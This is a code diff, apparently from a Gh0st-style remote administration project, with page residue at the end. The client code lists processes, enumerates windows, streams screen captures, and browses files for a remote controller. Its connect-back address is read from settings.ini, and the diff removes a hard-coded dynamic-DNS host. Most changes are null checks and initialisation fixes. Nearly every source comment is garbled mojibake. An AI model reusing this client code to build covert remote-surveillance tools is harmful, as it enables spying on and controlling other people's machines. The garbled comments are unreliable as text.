LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, 1024); //<2F><>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>һ<EFBFBD>»<EFBFBD><C2BB><EFBFBD><EFBFBD><EFBFBD>
|
LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, 1024); //<2F><>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>һ<EFBFBD>»<EFBFBD><C2BB><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
if (szBuffer == NULL)
|
||||||
|
return NULL;
|
||||||
szBuffer[0] = TOKEN_PSLIST; //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
szBuffer[0] = TOKEN_PSLIST; //ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||||
dwOffset = 1;
|
dwOffset = 1;
|
||||||
|
|
||||||
@@ -263,12 +264,15 @@ BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam) //Ҫ
|
|||||||
//ͬ<><CDAC><EFBFBD>̹<EFBFBD><CCB9><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>ķ<EFBFBD><C4B7>͵<EFBFBD><CDB5><EFBFBD><EFBFBD>ض˵<D8B6><CBB5><EFBFBD><EFBFBD>ݽṹ
|
//ͬ<><CDAC><EFBFBD>̹<EFBFBD><CCB9><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>ķ<EFBFBD><C4B7>͵<EFBFBD><CDB5><EFBFBD><EFBFBD>ض˵<D8B6><CBB5><EFBFBD><EFBFBD>ݽṹ
|
||||||
if (szBuffer == NULL)
|
if (szBuffer == NULL)
|
||||||
szBuffer = (LPBYTE)LocalAlloc(LPTR, 1); //<2F><>ʱ<EFBFBD><CAB1><EFBFBD>仺<EFBFBD><E4BBBA><EFBFBD><EFBFBD>
|
szBuffer = (LPBYTE)LocalAlloc(LPTR, 1); //<2F><>ʱ<EFBFBD><CAB1><EFBFBD>仺<EFBFBD><E4BBBA><EFBFBD><EFBFBD>
|
||||||
|
if (szBuffer == NULL)
|
||||||
|
return FALSE;
|
||||||
//[<5B><>Ϣ][4Notepad.exe\0]
|
//[<5B><>Ϣ][4Notepad.exe\0]
|
||||||
dwLength = sizeof(DWORD) + lstrlen(szTitle) + 1;
|
dwLength = sizeof(DWORD) + lstrlen(szTitle) + 1;
|
||||||
dwOffset = LocalSize(szBuffer); //1
|
dwOffset = LocalSize(szBuffer); //1
|
||||||
//<2F><><EFBFBD>¼<EFBFBD><C2BC>㻺<EFBFBD><E3BBBA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С
|
//<2F><><EFBFBD>¼<EFBFBD><C2BC>㻺<EFBFBD><E3BBBA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С
|
||||||
szBuffer = (LPBYTE)LocalReAlloc(szBuffer, dwOffset + dwLength, LMEM_ZEROINIT|LMEM_MOVEABLE);
|
szBuffer = (LPBYTE)LocalReAlloc(szBuffer, dwOffset + dwLength, LMEM_ZEROINIT|LMEM_MOVEABLE);
|
||||||
|
if (szBuffer == NULL)
|
||||||
|
return FALSE;
|
||||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>memcpy<70><79><EFBFBD>ܿ<EFBFBD><DCBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݽṹΪ hwnd+<2B><><EFBFBD>ڱ<EFBFBD><DAB1><EFBFBD>+0
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>memcpy<70><79><EFBFBD>ܿ<EFBFBD><DCBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݽṹΪ hwnd+<2B><><EFBFBD>ڱ<EFBFBD><DAB1><EFBFBD>+0
|
||||||
memcpy((szBuffer+dwOffset),&hWnd,sizeof(DWORD));
|
memcpy((szBuffer+dwOffset),&hWnd,sizeof(DWORD));
|
||||||
memcpy(szBuffer + dwOffset + sizeof(DWORD), szTitle, lstrlen(szTitle) + 1);
|
memcpy(szBuffer + dwOffset + sizeof(DWORD), szTitle, lstrlen(szTitle) + 1);
|
||||||
|
|||||||
@@ -55,11 +55,11 @@ DWORD CVideoManager::WorkThread(LPVOID lParam)
|
|||||||
while (This->m_bIsWorking)
|
while (This->m_bIsWorking)
|
||||||
{
|
{
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ٶ<EFBFBD>
|
// <20><><EFBFBD><EFBFBD><EFBFBD>ٶ<EFBFBD>
|
||||||
int span = sleep-(GetTickCount() - dwLastScreen);
|
int span = sleep-(GetTickCount64() - dwLastScreen);
|
||||||
Sleep(span > 0 ? span : 1);
|
Sleep(span > 0 ? span : 1);
|
||||||
if (span < 0)
|
if (span < 0)
|
||||||
printf("SendScreen Span = %d ms\n", span);
|
printf("SendScreen Span = %d ms\n", span);
|
||||||
dwLastScreen = GetTickCount();
|
dwLastScreen = GetTickCount64();
|
||||||
if(FALSE == This->SendNextScreen())
|
if(FALSE == This->SendNextScreen())
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1655,7 +1655,7 @@ public:
|
|||||||
BYTE Green;
|
BYTE Green;
|
||||||
BYTE Red;
|
BYTE Red;
|
||||||
BYTE Alpha;
|
BYTE Alpha;
|
||||||
DXBASESAMPLE() {}
|
DXBASESAMPLE():Blue(0), Green(0), Red(0), Alpha(0) {}
|
||||||
DXBASESAMPLE(const BYTE alpha, const BYTE red, const BYTE green, const BYTE blue) :
|
DXBASESAMPLE(const BYTE alpha, const BYTE red, const BYTE green, const BYTE blue) :
|
||||||
Alpha(alpha),
|
Alpha(alpha),
|
||||||
Red(red),
|
Red(red),
|
||||||
|
|||||||
@@ -119,17 +119,13 @@ int main(int argc, const char *argv[])
|
|||||||
{
|
{
|
||||||
char *ip = g_ConnectAddress.szServerIP;
|
char *ip = g_ConnectAddress.szServerIP;
|
||||||
int &port = g_ConnectAddress.iPort;
|
int &port = g_ConnectAddress.iPort;
|
||||||
if (0 == strlen(ip))
|
|
||||||
{
|
|
||||||
strcpy(p + 1, "settings.ini");
|
strcpy(p + 1, "settings.ini");
|
||||||
if (_access(path, 0) == -1){
|
if (_access(path, 0) == -1) { // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: <20><><EFBFBD>ȴӲ<C8B4><D3B2><EFBFBD><EFBFBD><EFBFBD>ȡֵ<C8A1><D6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ǵ<EFBFBD>g_ConnectAddressȡֵ.
|
||||||
ip = argc > 1 ? argv[1] : "127.0.0.1";
|
ip = argc > 1 ? argv[1] :(strlen(ip)==0 ? "127.0.0.1" : ip);
|
||||||
port = argc > 2 ? atoi(argv[2]) : 19141;
|
port = argc > 2 ? atoi(argv[2]) : (port==0 ? 6543: port);
|
||||||
}
|
} else {
|
||||||
else {
|
GetPrivateProfileStringA("settings", "localIp", g_ConnectAddress.szServerIP, ip, _MAX_PATH, path);
|
||||||
GetPrivateProfileStringA("settings", "localIp", "yuanyuanxiang.oicp.net", ip, _MAX_PATH, path);
|
port = GetPrivateProfileIntA("settings", "ghost", g_ConnectAddress.iPort, path);
|
||||||
port = GetPrivateProfileIntA("settings", "ghost", 19141, path);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
printf("[server] %s:%d\n", ip, port);
|
printf("[server] %s:%d\n", ip, port);
|
||||||
do
|
do
|
||||||
|
|||||||
@@ -170,7 +170,7 @@ END_MESSAGE_MAP()
|
|||||||
|
|
||||||
int GetIconIndex(LPCTSTR lpFileName, DWORD dwFileAttributes)
|
int GetIconIndex(LPCTSTR lpFileName, DWORD dwFileAttributes)
|
||||||
{
|
{
|
||||||
SHFILEINFO sfi;
|
SHFILEINFO sfi = {};
|
||||||
if (dwFileAttributes == INVALID_FILE_ATTRIBUTES)
|
if (dwFileAttributes == INVALID_FILE_ATTRIBUTES)
|
||||||
dwFileAttributes = FILE_ATTRIBUTE_NORMAL;
|
dwFileAttributes = FILE_ATTRIBUTE_NORMAL;
|
||||||
else
|
else
|
||||||
@@ -359,7 +359,7 @@ void CFileManagerDlg::FixedLocalDriveList()
|
|||||||
m_list_local.SetItemData(nItem, 1);
|
m_list_local.SetItemData(nItem, 1);
|
||||||
if (lstrlen(FileSystem) == 0)
|
if (lstrlen(FileSystem) == 0)
|
||||||
{
|
{
|
||||||
SHFILEINFO sfi;
|
SHFILEINFO sfi = {};
|
||||||
SHGetFileInfo(pDrive, FILE_ATTRIBUTE_NORMAL, &sfi,sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
|
SHGetFileInfo(pDrive, FILE_ATTRIBUTE_NORMAL, &sfi,sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
|
||||||
m_list_local.SetItemText(nItem, 1, sfi.szTypeName);
|
m_list_local.SetItemText(nItem, 1, sfi.szTypeName);
|
||||||
}
|
}
|
||||||
@@ -467,7 +467,7 @@ void CFileManagerDlg::FixedLocalFileList(CString directory)
|
|||||||
int nItem = m_list_local.InsertItem(nItemIndex++, file.GetFileName(),
|
int nItem = m_list_local.InsertItem(nItemIndex++, file.GetFileName(),
|
||||||
GetIconIndex(file.GetFileName(), GetFileAttributes(file.GetFilePath())));
|
GetIconIndex(file.GetFileName(), GetFileAttributes(file.GetFilePath())));
|
||||||
m_list_local.SetItemData(nItem, file.IsDirectory());
|
m_list_local.SetItemData(nItem, file.IsDirectory());
|
||||||
SHFILEINFO sfi;
|
SHFILEINFO sfi = {};
|
||||||
SHGetFileInfo(file.GetFileName(), FILE_ATTRIBUTE_NORMAL, &sfi,sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
|
SHGetFileInfo(file.GetFileName(), FILE_ATTRIBUTE_NORMAL, &sfi,sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
|
||||||
m_list_local.SetItemText(nItem, 2, sfi.szTypeName);
|
m_list_local.SetItemText(nItem, 2, sfi.szTypeName);
|
||||||
|
|
||||||
@@ -1045,7 +1045,7 @@ void CFileManagerDlg::OnDblclkListRemote(NMHDR* pNMHDR, LRESULT* pResult)
|
|||||||
void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen)
|
void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen)
|
||||||
{
|
{
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ImageList
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ImageList
|
||||||
SHFILEINFO sfi;
|
SHFILEINFO sfi = {};
|
||||||
HIMAGELIST hImageListLarge = (HIMAGELIST)SHGetFileInfo(NULL, 0, &sfi,sizeof(SHFILEINFO), SHGFI_SYSICONINDEX | SHGFI_LARGEICON);
|
HIMAGELIST hImageListLarge = (HIMAGELIST)SHGetFileInfo(NULL, 0, &sfi,sizeof(SHFILEINFO), SHGFI_SYSICONINDEX | SHGFI_LARGEICON);
|
||||||
HIMAGELIST hImageListSmall = (HIMAGELIST)SHGetFileInfo(NULL, 0, &sfi,sizeof(SHFILEINFO), SHGFI_SYSICONINDEX | SHGFI_SMALLICON);
|
HIMAGELIST hImageListSmall = (HIMAGELIST)SHGetFileInfo(NULL, 0, &sfi,sizeof(SHFILEINFO), SHGFI_SYSICONINDEX | SHGFI_SMALLICON);
|
||||||
ListView_SetImageList(m_list_remote.m_hWnd, hImageListLarge, LVSIL_NORMAL);
|
ListView_SetImageList(m_list_remote.m_hWnd, hImageListLarge, LVSIL_NORMAL);
|
||||||
@@ -1097,7 +1097,7 @@ void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen)
|
|||||||
{
|
{
|
||||||
nItem = m_list_remote.InsertItem(nItemIndex++, pszFileName, GetIconIndex(pszFileName, nType));
|
nItem = m_list_remote.InsertItem(nItemIndex++, pszFileName, GetIconIndex(pszFileName, nType));
|
||||||
m_list_remote.SetItemData(nItem, nType == FILE_ATTRIBUTE_DIRECTORY);
|
m_list_remote.SetItemData(nItem, nType == FILE_ATTRIBUTE_DIRECTORY);
|
||||||
SHFILEINFO sfi;
|
SHFILEINFO sfi = {};
|
||||||
SHGetFileInfo(pszFileName, FILE_ATTRIBUTE_NORMAL | nType, &sfi,sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
|
SHGetFileInfo(pszFileName, FILE_ATTRIBUTE_NORMAL | nType, &sfi,sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
|
||||||
m_list_remote.SetItemText(nItem, 2, sfi.szTypeName);
|
m_list_remote.SetItemText(nItem, 2, sfi.szTypeName);
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user